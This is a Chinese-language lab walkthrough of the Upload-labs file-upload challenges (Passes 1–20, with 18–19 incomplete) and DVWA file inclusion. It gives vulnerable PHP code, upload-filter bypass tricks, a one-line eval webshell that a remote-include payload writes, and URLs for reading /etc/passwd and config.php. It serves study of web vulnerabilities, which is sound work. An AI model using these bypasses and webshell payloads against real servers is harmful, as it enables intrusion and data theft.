Upload-labs-Pass1-20/DVWA-文件包含/文件上傳漏洞

Upload-labs

Pass-01

源碼

function checkFile() {
    var file = document.getElementsByName('upload_file')[0].value;
    if (file == null || file == "") {
        alert("請選擇要上傳的文件!");
        return false;
    }
    //定義容許上傳的文件類型
    var allow_ext = ".jpg|.png|.gif";
    //提取上傳文件的類型
    var ext_name = file.substring(file.lastIndexOf("."));
    //判斷上傳文件類型是否容許上傳
    if (allow_ext.indexOf(ext_name + "|") == -1) {
        var errMsg = "該文件不容許上傳,請上傳" + allow_ext + "類型的文件,當前文件類型爲:" + ext_name;
        alert(errMsg);
        return false;
    }
}

總結

前端JS校驗,沒啥總結的。就比如網上購物,沒收到貨就確認收貨了。至於最後收到啥東西誰也不知道。php

Pass-02

源碼

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name']            
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上傳出錯!';
            }
        } else {
            $msg = '文件類型不正確,請從新上傳!';
        }
    } else {
        $msg = UPLOAD_PATH.'文件夾不存在,請手工建立!';
    }
}

總結

$_FILES['upload_file']['type']獲取上傳文件的MIME類型。$_FILES官方解釋:html

clipboard.png

其實是根據http請求中的content-type字段定義的
MIME白名單image/jpeg、image/png、image/gif。
一是能夠直接上傳php文件(jsp[java]、asp(IIS)沒用哈,不會被解析),抓包修改請求頭中的content-type
二是修改文件後綴.php->.jpeg/.png/.gif之一,而後再抓包把後綴修改爲.php(content-type根據上傳文件的後綴自動變化)前端

Pass-03

源碼

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array('.asp','.aspx','.php','.jsp');
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//刪除文件名末尾的點
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //轉換爲小寫
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //收尾去空

        if(!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;   
            //$file_ext是通過strrchr函數洗禮過的,因此apache解析漏洞無論用         
            if (move_uploaded_file($temp_file,$img_path)) {
                 $is_upload = true;
            } else {
                $msg = '上傳出錯!';
            }
        } else {
            $msg = '不容許上傳.asp,.aspx,.php,.jsp後綴文件!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夾不存在,請手工建立!';
    }
}

總結

$deny_ext變量定義了上傳類型黑名單數組,而後後面一些列操做(什麼去文件末尾的點啊,去除空格啊,去除::$DATA啊,轉換爲小寫啊)都是提取上傳文件後綴名的標準且必要的操做。而後利用in_array函數判斷上傳的文件後綴是否在黑名單中,不在的話就重命名文件
因此
1..htaccess無論用,由於雖然沒在黑名單中,可是上傳後被命名爲XXXX.htaccess
2.Apache解析漏洞無論用(test.php.aaa文件.aaa後綴apache不認識會被看成php文件解析),由於strrchr取得是.最後出現的位置也就是.aaa。重命名後就是xxxx.aaa。(詳見代碼註釋)
突破點就是:java

clipboard.png

這是服務器端apache/conf/httpd.conf的配置文件,圈出來的文件會被看成php解析。而.php3和.phtml沒有在黑名單中。linux

Pass-04

源碼

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2","php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2","pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//刪除文件名末尾的點
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //轉換爲小寫
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //收尾去空

        if (!in_array($file_ext, $deny_ext)) {
            //檢測仍是用$file_ext檢測的
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;
            //這裏拼接文件路徑(文件名)的變量是file_name,能夠上傳test.php.aaa(apache解析漏洞)
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上傳出錯!';
            }
        } else {
            $msg = '此文件不容許上傳!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夾不存在,請手工建立!';
    }
}

總結

前端顯示的源碼是錯誤的,實際的源碼沒有對白名單文件進行重命名。
與Pass-03不同的地方是$img_path變量在拼接的時候用的是$file_name變量(Pass-03用的是$file_ext),體會一下。
因此一種是網上大多數使用的上傳.htaccess(沒在黑名單中且未對白名單文件重命名)內容是AddType application/x-httpd-php .jpg而後再上傳一個.jpg文件(含php內容)就能夠把.jpg看成php解析shell

.htaccess文件是Apache服務器中的一個配置文件,它負責相關目錄下的網頁配置。經過.htaccess文件,能夠實現:網頁301重定向、自定義404錯誤頁面、改變文件擴展名、容許/阻止特定的用戶或者目錄的訪問、禁止目錄列表、配置默認文檔等功能IIS平臺上不存在該文件,該文件默認開啓,啓用和關閉在httpd.conf文件中配置。

第二種方法直接上傳test.php.xxx,其中xxx可隨意設置成apache不認識的稀有文件名,它能夠幫咱們繞過檢測,可是最後在拼接的時候又使用的test.php.xxx,最後被看成test.php解析。得益於代碼寫的好(詳見代碼註釋)。apache

第三種方法是上傳test.php. .(php後面加上點空格點)。deldot不是自帶函數,打開代碼審計工具查找deldot函數以下:數組

<?php
function deldot($s){
    for($i = strlen($s)-1;$i>0;$i--){
        $c = substr($s,$i,1);
        if($i == strlen($s)-1 and $c != '.'){
            return $s;
        }

        if($c != '.'){
            return substr($s,0,$i+1);
        }
    }
}
?>

能夠看到test.php. .通過deldot的洗禮後去掉最後一個點,保留了test.php. 。而後是strrchr函數洗禮後就是. (空格)能夠看到空格的做用就是保護空格前的.不被deldot刪除掉。而後是strtolower、str_ireplace函數,最後trim函數刪掉空格。因此$file_ext只剩一個點了,幫咱們經過黑名單過濾。
最後拼接文件路徑(文件名)的時候又是使用函數處理前的$file_name變量安全

window系統自動把文件名後面的 .點空格自動刪除掉

其實和第二種方法差很少,只是沒有配合apache解析漏洞(window去除空格、點後直接看成php解析),固然也能夠結合使用(test.php.aaa. .)服務器

Pass-05/Pass-06/Pass-07/Pass-08

源碼

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//刪除文件名末尾的點
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //轉換爲小寫
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空
        //05/06/07/08關在上面四行代碼依次一關少一句

        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上傳出錯!';
            }
        } else {
            $msg = '此文件類型不容許上傳!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夾不存在,請手工建立!';
    }
}

總結

Pass-05關缺失的代碼:
$file_ext = strtolower($file_ext); //轉換爲小寫
沒有這行代碼可以使用大小寫如.Php/.PHp/.pHP等等來繞過黑名單。這些文件照樣被看成php文件執行

Pass-06關缺失的代碼:
$file_ext = trim($file_ext); //首尾去空
抓包增長空格。window和linux系統文件名後綴都會自動過濾空格

Pass-07關缺失的代碼:
$file_ext = strrchr($file_name, '.');
抓包增長點。window系統文件名後綴都會自動過濾點
linux環境下也可增長點再上傳,linux下不會過濾文件名最後的點

Pass-08關缺失的代碼
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
linux可直接上傳test.php::$DATA文件
window環境上傳的時候抓包修改
Windows下NTFS文件系統的一個特性,即NTFS文件系統的存儲數據流的一個屬性 DATA 時,就是請求 a.asp 自己的數據,若是a.asp 還包含了其餘的數據流,好比 a.asp:lake2.asp,請求 a.asp:lake2.asp::$DATA,則是請求 a.asp中的流數據 lake2.asp的流數據內容。
NTFS文件系統包括對備用數據流的支持。這不是衆所周知的功能,主要包括提供與Macintosh文件系統中的文件的兼容性。備用數據流容許文件包含多個數據流。每一個文件至少有一個數據流。在Windows中,此默認數據流稱爲: $DATA

Pass-09

Pass-09和Pass-04代碼同樣,只是黑名單不同(09加了.htaccess)。因此方法1無論用,方法2/3依舊管用。

Pass-10

源碼

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");

        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = str_ireplace($deny_ext,"", $file_name);
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = UPLOAD_PATH.'/'.$file_name;        
        if (move_uploaded_file($temp_file, $img_path)) {
            $is_upload = true;
        } else {
            $msg = '上傳出錯!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夾不存在,請手工建立!';
    }
}

總結

能夠看到$file_name = str_ireplace($deny_ext,"", $file_name),直接刪除黑名單中的內容。可是這個代碼兇起來連文件名的內容也刪,這讓我想起以前看的文章說不要試圖修改用戶的輸入,直接禁止就行。
由於str_ireplace函數只使用了一次。直接使用雙寫繞過就行test.pphphp,由於php名字特殊,雙寫插入位置就有講究了。爲何不使用test.phphpp自行理解。

Pass-11

源碼

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
    if(in_array($file_ext,$ext_arr)){
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = '上傳出錯!';
        }
    } else{
        $msg = "只容許上傳.jpg|.png|.gif類型文件!";
    }
}
?>

總結

$file_ext變量一頓花裏胡哨的操做獲取文件名後綴,並設置白名單(jpg、png、gif)。因此在文件名上作文章是不行了。關鍵是以下代碼

$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext
//$_GET和以前的$_POST差很少,主要是能夠進行抓包修改,是能夠注入的。而後經過
move_uploaded_file($temp_file,$img_path)函數利用
%00截斷

clipboard.png

截取的數據包,把標記的內容修改爲../upload/test.php%00。這樣實際是將1.jpg的內容移動到test.php文件中了。
由於$img_path變量是../upload/test.php%00xxx.jpg。在php版本<5.3.4且magic_quotes_gpc=off時

clipboard.png

clipboard.png

以上爲服務器phpinfo中的信息。../upload/test.php%00xxx.jpg會被認爲../upload/test.php
而後利用move_uploaded_file函數將臨時路徑下的jpg文件內容寫入../upload/test.php中

Pass-12

源碼

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
    if(in_array($file_ext,$ext_arr)){
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = "上傳失敗";
        }
    } else {
        $msg = "只容許上傳.jpg|.png|.gif類型文件!";
    }
}

總結

與Pass-11不同的地方是Pass-12利用$_POST獲取save_path,此參數也是可注入的。只是修改的地方和Pass-11不同,Pass-12在Hex數據流中修改(Hex將報文中的字符所有轉換成16進制)

clipboard.png

$_GET

clipboard.png

$_POST

clipboard.png

%00和0x00截斷
原理都是同樣的,都是利用16進制的00截斷原理 。
Pass-11中對url進行解碼。 將%00解碼成0x00,而Pass-12中沒有url解碼這一步,直接在hex的值中修改。造成0x00截斷。

Pass-13

源碼

function getReailFileType($filename){
    $file = fopen($filename, "rb");
    $bin = fread($file, 2); //只讀2字節
    fclose($file);
    $strInfo = @unpack("C2chars", $bin);    
    $typeCode = intval($strInfo['chars1'].$strInfo['chars2']);    
    $fileType = '';    
    switch($typeCode){      
        case 255216:            
            $fileType = 'jpg';
            break;
        case 13780:            
            $fileType = 'png';
            break;        
        case 7173:            
            $fileType = 'gif';
            break;
        default:            
            $fileType = 'unknown';
        }    
        return $fileType;
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $file_type = getReailFileType($temp_file);

    if($file_type == 'unknown'){
        $msg = "文件未知,上傳失敗!";
    }else{
        $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type;
        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = "上傳出錯!";
        }
    }
}

總結

Pass-13源碼中利用getReailFileType函數中fread函數讀取文件開頭兩個字符,並利用unpack函數將字符轉換成ascii碼值,最後用intval鏈接取整(值爲$typeCode)。
而後判斷$typeCode255216(0xff,0xd8)13780(0x89,0x50)7173(0x47,0x49),以下圖是三種文件類型的文件頭標識

JPG

clipboard.png

PNG

clipboard.png

GIF

clipboard.png

隨便上傳個什麼後綴的文件(反正源碼中最後會對$img_path從新修改後綴),以下:

clipboard.png

本例用的txt文件,第一行內容是空格+P(隨便兩個字符就行,由於空格hex值是20-對應的ascii是32,便於在後續burp抓包中查找修改。固然也能夠輸入兩個以上的字符,由於源碼中只提取前兩個字符。)
而後上傳、抓包:

clipboard.png

在Hex中修改數據:

clipboard.png

上傳成功後通過源碼中的$img_path變量將文件名修改爲對應的jpg、png、gif後綴,因此須要經過文件包含去解析漏洞:
該實驗中專門提供了個include.php

clipboard.png

clipboard.png

Pass-14

源碼

function isImage($filename){
    $types = '.jpeg|.png|.gif';
    if(file_exists($filename)){
        $info = getimagesize($filename);
        $ext = image_type_to_extension($info[2]);
        if(stripos($types,$ext)>=0){
            return $ext;
        }else{
            return false;
        }
    }else{
        return false;
    }
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $res = isImage($temp_file);
    if(!$res){
        $msg = "文件未知,上傳失敗!";
    }else{
        $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").$res;
        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = "上傳出錯!";
        }
    }
}

總結

本Pass主要利用isImage函數來判斷上傳的文件是否是圖片類型(不只僅是三種常規類型圖片)。來看看isImage函數幹了什麼事情:
首先利用getimagesize函數檢測文件類型。
getimagesize函數返回結果:

Array
(
    [0] => 350
    [1] => 318
    [2] => 2//其中1 = GIF,2 = JPG,3 = PNG,4 = SWF,5 = PSD,6 = BMP,7 = TIFF(intel byte order),8 = TIFF(motorola byte order),9 = JPC,10 = JP2,11 = JPX,12 = JB2,13 = SWC,14 = IFF,15 = WBMP,16 = XBM
    [3] => width="350" height="318"
    [bits] => 8
    [channels] => 3
    [mime] => image/jpeg
)

而後利用image_type_to_extension函數對getimagesize函數返回的數組索引2(Array[2])做後綴名轉換,最後用stripos函數檢測image_type_to_extension函數返回的結果是否在變量$types白名單中。
因此關鍵就是getimagesize函數,它的工做原理是什麼,什麼樣的文件會讓它返回的數組的索引 2 爲"白名單數字",怎麼樣去繞過它?
因此getimagesize函數不是絕對安全的,關鍵看怎麼去使用它。對於本Pass只檢測getimagesize($file)[2]的值,其繞過方式和Pass-13類似。只是文件頭多保留幾位罷了。

JPG:對於JPG文件保留的文件頭標識就多一些了(10行左右),能夠直接在JPG文件都加php木馬,可是會有以下錯誤。

PNG:89 50 4e 47 0d 0a 1a 0a(能夠抓包修改hex,也能夠找個真png,用編輯器打開,將文件頭標識後面的內容替換成php木馬就行)

GIF:GIF89a(直接在文件頭加入,也能夠抓包修改hex:47 49 46 38 39 61)

clipboard.png

這是JPG由於文件內容有干擾PHP解析的數據出現,後刪除部份內容上傳後成功。

Pass-15

源碼

function isImage($filename){
    //須要開啓php_exif模塊
    $image_type = exif_imagetype($filename);
    switch ($image_type) {
        case IMAGETYPE_GIF:
            return "gif";
            break;
        case IMAGETYPE_JPEG:
            return "jpg";
            break;
        case IMAGETYPE_PNG:
            return "png";
            break;    
        default:
            return false;
            break;
    }
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $res = isImage($temp_file);
    if(!$res){
        $msg = "文件未知,上傳失敗!";
    }else{
        $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$res;
        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = "上傳出錯!";
        }
    }
}

總結

本Pass中使用的是exif_imagetype函數來檢測上傳的文件是否爲圖片,其返回值和Pass-14中getimagesize函數返回值的索引2是同樣的,官方文檔以下:

clipboard.png

因此步驟也和Pass-14一致,只是對於JPG文件的表示頭檢測只用保留前面一行就行。(不肯定)

Pass-16

源碼

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])){
    // 得到上傳文件的基本信息,文件名,類型,大小,臨時文件路徑
    $filename = $_FILES['upload_file']['name'];
    $filetype = $_FILES['upload_file']['type'];
    $tmpname = $_FILES['upload_file']['tmp_name'];

    $target_path=UPLOAD_PATH.'/'.basename($filename);

    // 得到上傳文件的擴展名
    $fileext= substr(strrchr($filename,"."),1);

    //判斷文件後綴與類型,合法才進行上傳操做
    if(($fileext == "jpg") && ($filetype=="image/jpeg")){
        if(move_uploaded_file($tmpname,$target_path)){
            //使用上傳的圖片生成新的圖片
            $im = imagecreatefromjpeg($target_path);

            if($im == false){
                $msg = "該文件不是jpg格式的圖片!";
                @unlink($target_path);
            }else{
                //給新圖片指定文件名
                srand(time());
                $newfilename = strval(rand()).".jpg";
                //顯示二次渲染後的圖片(使用用戶上傳圖片生成的新圖片)
                $img_path = UPLOAD_PATH.'/'.$newfilename;
                imagejpeg($im,$img_path);
                @unlink($target_path);
                $is_upload = true;
            }
        } else {
            $msg = "上傳出錯!";
        }

    }else if(($fileext == "png") && ($filetype=="image/png")){
        if(move_uploaded_file($tmpname,$target_path)){
            //使用上傳的圖片生成新的圖片
            $im = imagecreatefrompng($target_path);

            if($im == false){
                $msg = "該文件不是png格式的圖片!";
                @unlink($target_path);
            }else{
                 //給新圖片指定文件名
                srand(time());
                $newfilename = strval(rand()).".png";
                //顯示二次渲染後的圖片(使用用戶上傳圖片生成的新圖片)
                $img_path = UPLOAD_PATH.'/'.$newfilename;
                imagepng($im,$img_path);

                @unlink($target_path);
                $is_upload = true;               
            }
        } else {
            $msg = "上傳出錯!";
        }

    }else if(($fileext == "gif") && ($filetype=="image/gif")){
        if(move_uploaded_file($tmpname,$target_path)){
            //使用上傳的圖片生成新的圖片
            $im = imagecreatefromgif($target_path);
            if($im == false){
                $msg = "該文件不是gif格式的圖片!";
                @unlink($target_path);
            }else{
                //給新圖片指定文件名
                srand(time());
                $newfilename = strval(rand()).".gif";
                //顯示二次渲染後的圖片(使用用戶上傳圖片生成的新圖片)
                $img_path = UPLOAD_PATH.'/'.$newfilename;
                imagegif($im,$img_path);

                @unlink($target_path);
                $is_upload = true;
            }
        } else {
            $msg = "上傳出錯!";
        }
    }else{
        $msg = "只容許上傳後綴爲.jpg|.png|.gif的圖片文件!";
    }
}

總結

源碼中使用imagecreatefrom...函數對圖片文件進行二次渲染。該函數調用了PHP GD庫(GD庫,是php處理圖形的擴展庫),對圖片進行了轉換
將一個正常顯示的圖片,上傳到服務器。下載被渲染後與原始圖片對比,在仍然相同的數據塊部份內部插入Webshell代碼,而後上傳。
對於GIF找到一個payload,對於JPG和PNG就要複雜些了。參考

Pass-17

源碼

$is_upload = false;
$msg = null;

if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_name = $_FILES['upload_file']['name'];
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $file_ext = substr($file_name,strrpos($file_name,".")+1);
    $upload_file = UPLOAD_PATH . '/' . $file_name;

    if(move_uploaded_file($temp_file, $upload_file)){
        if(in_array($file_ext,$ext_arr)){
             $img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
             rename($upload_file, $img_path);
             $is_upload = true;
        }else{
            $msg = "只容許上傳.jpg|.png|.gif類型文件!";
            unlink($upload_file);
        }
    }else{
        $msg = '上傳出錯!';
    }
}

總結

本Pass解除了利用文件包含漏洞,仔細讀代碼發現源碼中先判斷move_uploaded_file函數是否執行成功,而後再判斷上傳的文件後綴名是否在白名單中,若是不在白名單中則用unlink函數刪除文件。
能夠經過條件競爭的方式在unlink函數執行以前訪問上傳文件。

clipboard.png

burp suite抓上傳info17.php文件的數據包,進行大量重放:

clipboard.png

因此咱們使用 多線程併發的訪問上傳的文件,總會有一次 在上傳文件到刪除文件這個時間段內訪問到上傳的php文件,一旦咱們成功訪問到了上傳的文件,那麼它就會向服務器寫一個shell。

clipboard.png

Pass-18

源碼

$is_upload = false;
$msg = null;
if (isset($_POST['submit']))
{
    require_once("./myupload.php");
    $imgFileName =time();
    $u = new MyUpload($_FILES['upload_file']['name'], $_FILES['upload_file']['tmp_name'], $_FILES['upload_file']['size'],$imgFileName);
    $status_code = $u->upload(UPLOAD_PATH);
    switch ($status_code) {
        case 1:
            $is_upload = true;
            $img_path = $u->cls_upload_dir . $u->cls_file_rename_to;
            break;
        case 2:
            $msg = '文件已經被上傳,但沒有重命名。';
            break; 
        case -1:
            $msg = '這個文件不能上傳到服務器的臨時文件存儲目錄。';
            break; 
        case -2:
            $msg = '上傳失敗,上傳目錄不可寫。';
            break; 
        case -3:
            $msg = '上傳失敗,沒法上傳該類型文件。';
            break; 
        case -4:
            $msg = '上傳失敗,上傳的文件過大。';
            break; 
        case -5:
            $msg = '上傳失敗,服務器已經存在相同名稱文件。';
            break; 
        case -6:
            $msg = '文件沒法上傳,文件不能複製到目標目錄。';
            break;      
        default:
            $msg = '未知錯誤!';
            break;
    }
}

myupload.php:

Pass-20

源碼

$is_upload = false;
$msg = null;
if(!empty($_FILES['upload_file'])){
    //檢查MIME
    $allow_type = array('image/jpeg','image/png','image/gif');
    if(!in_array($_FILES['upload_file']['type'],$allow_type)){
        $msg = "禁止上傳該類型文件!";
    }else{
        //檢查文件名
        $file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
        if (!is_array($file)) {
            $file = explode('.', strtolower($file));//strtolower轉換爲小寫,避免大小寫
        }//explode函數用'.'分割字符串,返回數組

        $ext = end($file);
        $allow_suffix = array('jpg','png','gif');
        if (!in_array($ext, $allow_suffix)) {
            $msg = "禁止上傳該後綴文件!";
        }else{
            $file_name = reset($file) . '.' . $file[count($file) - 1];
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' .$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $msg = "文件上傳成功!";
                $is_upload = true;
            } else {
                $msg = "文件上傳失敗!";
            }
        }
    }
}else{
    $msg = "請選擇要上傳的文件!";
}

總結

文件命名規則:$file_name = reset($file) . '.' . $file[count($file) - 1];
reset():將內部指針指向數組中的第一個元素,並輸出。
end():將內部指針指向數組中的最後一個元素,並輸出。
$file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];若是save_name不爲空則file爲save_name,不然file爲filename
if (!is_array($file))判斷若是file不是數組則以'.'分組
咱們POST傳入一個save_name列表:['info20.php', '', 'jpg'],此時empty($_POST['save_name']) 爲假則file爲save_name,因此由$ext = end($file);爲jpg能夠經過後綴名判斷(判斷結束後最後一個元素jpg彈出),而且最終文件名組裝爲upload20.php.

經過上傳一個php文件,原始的數據包以下:
clipboard.png

由於源碼中是先檢測Content-Type,因此要修改。

clipboard.png

因此關鍵就是count函數,在上圖傳輸的數據包中count(save_name)是等於2的。

文件包含

遠程包含和本地包含沒有區別,不管是哪一種擴展名,只要遵循PHP語法規範,PHP解析器就會對其解析
條件:
1.allow_url_include=On,容許 include[_once]()、require[_once]()函數的使用
2.allow_url_fopen(),容許遠程文件包含

clipboard.png
其中test.txt(後綴名也能夠是其餘後綴名,都會被看成php解析)文件內容是:

<?php
echo "hello world";
?>
固然也能夠是其餘內容,如:
<?php
phpinfo();  //顯示php配置等信息
?>

只要文件內容符合php語法規範,任何擴展名均可以被php解析,若是文件內容不符合php語法規範,會顯示源碼.

上圖中http://127.0.0.0.1/hackable/uploads/test.txt爲傳遞到include函數中的參數

文件包含攻擊方式:
1.讀取敏感文件(條件:相應文件存在且有權限)

http://www.xxx.com/index.php?page=/etc/passwd

clipboard.png

2.遠程包含shell(條件:遠程包含(allow_url_fopen)開啓)

http://www.xxx.com/index.php?page=http://127.0.0.1/hackable/uploads/test.txt
test.txt文件內容爲:
<?fputs(fopen("shell.php","w"),"<?php eval($_POST[pass]);?>")?>

訪問後將會在index.php所在的目錄下生成shell.php,內容爲<?php eval($_POST[pass]);?>

3.本地包含配合文件上傳(條件:提供文件上傳功能且一句話木馬圖片已上傳)
圖片上傳路徑爲/uploads/test.jpg,代碼爲:

<?fputs(fopen("shell.php","w"),"<?php eval($_POST[pass]);?>")?>

訪問http://www.xxx.com/index.php?page=./uploads/test.jpg,訪問後將會在index.php所在的目錄下生成shell.php,內容爲<?php eval($_POST[pass]);?>
4.php://filter/read=convert.base64-encode/resource=config.php

相關文章
相關標籤/搜索